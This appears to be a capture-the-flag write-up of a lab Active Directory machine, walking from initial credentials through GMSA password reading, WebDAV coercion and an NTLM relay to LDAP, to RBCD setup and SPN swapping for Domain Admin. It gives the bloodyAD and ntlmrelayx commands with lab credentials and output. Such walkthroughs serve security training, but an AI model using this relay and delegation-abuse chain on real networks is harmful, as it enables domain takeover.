This machine provides an engaging challenge, beginning with an initial set of credentials. By performing a RID brute-force attack, we identify several computer accounts and discover that one is susceptible to password reuse using our existing credentials.
After analyzing the environment in Bloodhound, we find that MSO1$ has ReadGMSAPassword permissions over both GMSA_ADFS_PROD$ and GMSA_ADCS_PROD$. By retrieving the password for the GMSA service account, we gain a foothold on the system. Further enumeration reveals a secondary network interface; by pivoting through Ligolo, we discover another host: WEB01$.
Investigation of WEB01$ shows that WebDAV is active. By adding a valid DNS record pointing to our attacker machine, we can coerce authentication from WEB01$. This provides an authentication context as WEB01$, allowing us to configure Resource-Based Constrained Delegation (RBCD) on a GMSA user. Requesting a service ticket via this delegation path grants us Administrator access to WEB01$.
After dumping LSA secrets on WEB01$, we recover cleartext credentials for a.white. This user has ForceChangePassword rights over a.white_adm, who in turn has AllowedToDelegate permissions back to WEB01$.
Using bloodyAD, we identify that we have write permissions over the SPN attribute for all machines, including DC01$. Because we have constrained delegation (AllowedToDelegate), we can impersonate high-privileged users against other principals. To achieve Domain Admin (DA), we can remove an SPN from WEB01$ and add it to DC01$. We then request a service ticket using the newly set SPN, specifying an alternative service and impersonating a privileged user to complete the compromise.
Initial Scan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
PORT STATE SERVICE REASON 53/tcp open domain syn-ack 80/tcp open http syn-ack 88/tcp open kerberos-sec syn-ack 135/tcp open msrpc syn-ack 139/tcp open netbios-ssn syn-ack 389/tcp open ldap syn-ack 443/tcp open https syn-ack 445/tcp open microsoft-ds syn-ack 464/tcp open kpasswd5 syn-ack 593/tcp open http-rpc-epmap syn-ack 636/tcp open ldapssl syn-ack 2179/tcp open vmrdp syn-ack 3268/tcp open globalcatLDAP syn-ack 3269/tcp open globalcatLDAPssl syn-ack 5985/tcp open wsman syn-ack
Looking at a basic Active Directory server with its ports.
Your Pre-Qualified
For our basic enumeration with Windows I like to start off doing the following in a list:
SMB
LDAP
KERBEROS
If that fails we more into more technical enumeration techniques.
We have a set of credentials we can use for the time being.
After getting a bloodhound dump our data shows we have no path from our user. Looking at the computer accounts we can try the computer:password combo for pre-created computer accounts.
Looking at our bloodhound dump we see that our machine account (MS01$) is a member of DOMAIN SECURE SERVERS, which allows us to read the GMSA password of GMSA_ADFS_PROD$.
We can use netexec to read the GMSA password of this account.
We got the NT hashes for both accounts. Now back to bloodhound.
Foothold on the machine
Our user didn’t have any interesting controls, but was able to get on the box. After looking around nothing interesting stuck out, yet normal enumeration showed another interface we can work with. We can setup ligolo and see whats on this network.
Our scan shows more ports as well we need to be aware of.
1 2 3 4 5 6 7 8 9 10
PORT STATE SERVICE REASON 80/tcp open http syn-ack 135/tcp open msrpc syn-ack 139/tcp open netbios-ssn syn-ack 443/tcp open https syn-ack 445/tcp open microsoft-ds syn-ack 808/tcp open ccproxy-http syn-ack 1500/tcp open vlsi-lm syn-ack 1501/tcp open sas-3 syn-ack 5985/tcp open wsman syn-ack
Looking at all this points out a couple things:
Sigining is NOT enabled
So coercing could be an option
Windows 10 Machine / Server - Known to be coerced
http is running on the machine from nmap
First we should see if webdav is running on the machine so if we can coerce we can force http auth.
We need to be able to supply a machine(attacker) IP via DNS. Luckily any user can create a DNS record. For this we can add a record point to our machine. This record can be anything.
1 2
konoha# bloodyAD -d pirate.htb -u pentest -p 'p3nt3st2025!&' -H DC01.pirate.htb add dnsRecord jay4m4y0r 10.10.15.149 [+] jay4m4y0r has been successfully added
Now after setting up ntlmrelayx we can coerce with our new DNS name via http authentication.
(.impacket) konoha# ntlmrelayx.py -t ldap://10.129.13.251 --keep-relaying -smb2support -i Impacket v0.14.0.dev0+20251107.4500.2f1d6eb2 - Copyright Fortra, LLC and its affiliated companies
<SNIP>
[*] Multirelay disabled
[*] Servers started, waiting for connections [*] (HTTP): Client requested path: /npw/pipe/srvsvc [*] (HTTP): Client requested path: /npw/pipe/srvsvc [*] (HTTP): Connection from 10.129.13.251 controlled, attacking target ldap://10.129.13.251 [*] (HTTP): Client requested path: /npw/pipe/srvsvc [*] (HTTP): Authenticating connection from PIRATE/WEB01$@10.129.13.251 against ldap://10.129.13.251 SUCCEED [1] [*] ldap://PIRATE/WEB01$@10.129.13.251 [1] -> Started interactive Ldap shell via TCP on 127.0.0.1:11000 as PIRATE/WEB01$ [*] (HTTP): Client requested path: /npw/pipe/srvsvc [*] (HTTP): Client requested path: /npw/pipe/srvsvc [*] All targets processed! [*] (HTTP): Connection from 10.129.13.251 controlled, attacking target ldap://10.129.13.251 [*] (HTTP): Client requested path: /npw/pipe/srvsvc [*] (HTTP): Authenticating connection from PIRATE/WEB01$@10.129.13.251 against ldap://10.129.13.251 SUCCEED [2] [*] ldap://PIRATE/WEB01$@10.129.13.251 [2] -> Started interactive Ldap shell via TCP on 127.0.0.1:11001 as PIRATE/WEB01$
Resource Control me lad 😎
With authentication, we can now enter a session and set Resource-Based Constrained Delegations for one of the users and give them the ability to request a Service Ticket while impersonating a user of higher privilege, usually Administrator.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
konoha# nc 127.0.0.1 11000 Type help for list of commands
Found Grantee DN: CN=gMSA_ADCS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb Grantee SID: S-1-5-21-4107424128-4158083573-1300325248-4105 Delegation rights modified successfully! gMSA_ADCS_prod$ can now impersonate users on WEB01$ via S4U2Proxy
Impersonation is OK sometimes
Now we can grab a Service Ticket as Administrator.
Really this looks exciting, so essentially what we have is the ability to change the ServicePrincipalNames of any of the computer accounts ASWELL as the DC01$ machine.
Swapping SPNS and Impersonation Is Magic
What we want to do is remove the spn HTTP/WEB01.pirate.htb from WEB01$ and set it on DC01$, this will let us request a service ticket against this spn on DC01$. Though we will ask for an alternative service so the ticket will be good for both spn’s, while impersonating a user with higher privilege(Administrator). We can again use bloodyAD to achieve this.
[*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to cifs/DC01.pirate.htb@PIRATE.HTB [*] Saving ticket in Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache
